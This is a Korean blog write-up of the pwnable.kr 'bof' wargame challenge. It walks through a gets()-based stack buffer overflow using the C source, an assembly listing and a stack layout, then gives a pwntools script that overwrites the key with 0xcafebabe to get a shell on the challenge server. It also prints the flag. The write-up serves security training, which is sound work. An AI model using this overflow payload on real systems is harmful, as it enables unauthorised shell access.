본문 바로가기

Wargame/pwnable.kr

[pwnable.kr] bof

 

아래는 다운받은 bof.c 코드이다.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

 

main 함수의 func()에서 key = 0xdeadbeef를 위쪽 func()처럼 key = 0xcafebabe 로 바꿔주면 쉘을 띄워준다.

 

gets 함수를 통해 입력을 받는데, 입력값의 길이를 제한하지 않기 때문에 overflow[32] 32 바이트를 넘기는 값도 들어올 수 있다.

그렇게 되면 key 값을 덮어쓰게 된다.

 

key 값은 16진수 8개로 이루어져 16 바이트 즉 16 = 2^4이므로 4칸이 필요하다.

key[4] 와 overflow[32] 사이 거리를 구해보자.

 

 

 

gdb가 안 보여줘서 gcc로 어셈블리어 컴파일을 했다.

 

	.file	"bof.c"
	.text
	.section	.rodata
.LC0:
	.string	"overflow me : "
.LC1:
	.string	"/bin/sh"
.LC2:
	.string	"Nah.."
	.text
	.globl	func
	.type	func, @function
func:
.LFB6:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	subq	$64, %rsp
	movl	%edi, -52(%rbp)
	movq	%fs:40, %rax
	movq	%rax, -8(%rbp)
	xorl	%eax, %eax
	leaq	.LC0(%rip), %rax
	movq	%rax, %rdi
	movl	$0, %eax
	call	printf@PLT
	leaq	-48(%rbp), %rax
	movq	%rax, %rdi
	movl	$0, %eax
	call	gets@PLT
	cmpl	$-889275714, -52(%rbp)
	jne	.L2
	leaq	.LC1(%rip), %rax
	movq	%rax, %rdi
	call	system@PLT
	jmp	.L5
.L2:
	leaq	.LC2(%rip), %rax
	movq	%rax, %rdi
	call	puts@PLT
.L5:
	nop
	movq	-8(%rbp), %rax
	subq	%fs:40, %rax
	je	.L4
	call	__stack_chk_fail@PLT
.L4:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	func, .-func
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	subq	$16, %rsp
	movl	%edi, -4(%rbp)
	movq	%rsi, -16(%rbp)
	movl	$-559038737, %edi
	call	func
	movl	$0, %eax
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	1f - 0f
	.long	4f - 1f
	.long	5
0:
	.string	"GNU"
1:
	.align 8
	.long	0xc0000002
	.long	3f - 2f
2:
	.long	0x3
3:
	.align 8
4:

 

난 바보다. gdb 된줄 모르고 안 된다고 오류 고치고 있었다.

 

 

0xcafebabe 가 있는 것으로 보아 key는 <+40> [ebp+0x8]에 있다.

 

위의 gcc가 어셈블리 컴파일 해준 코드에 나온대로 printf와 gets를 의미하는 첫번째와 두번째 call을 보자.

그럼 overflow[32]는 printf 이후 gets로 입력받는 값이니 <+29>, <+32>, <+35> 부분 즉, [ebp-0x2c] 이다.

 

스택은 아래와 같은 구조로 생겼다.

 

낮은주소

overflowme[32]

dummy[12]

ebp+ret[8]

key[4]

높은주소

 

32+12+8=52 이므로 payload를 짜면, dummy[52] + key[4] (0xcafebabe).

 

코드를 짰는데 플래그를 뱉어내지 않고 포트를 종료해버려서...

아래 몇줄을 더 추가했다.

 

 

최종본!

from pwn import *
 
r = remote("pwnable.kr", 9000)
 
payload = "D"*52 + "\xbe\xba\xfe\xca"
 
r.sendline(payload)

r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()

 

 

플래그다!

daddy, I just pwned a buFFer :)

 

+ 추가

 

 

이렇게 해도 된다는데 나는 안 됐다. 까다로운 녀석이다.

'Wargame > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] unlink  (0) 2023.11.19
[pwnable.kr] fd  (0) 2023.09.11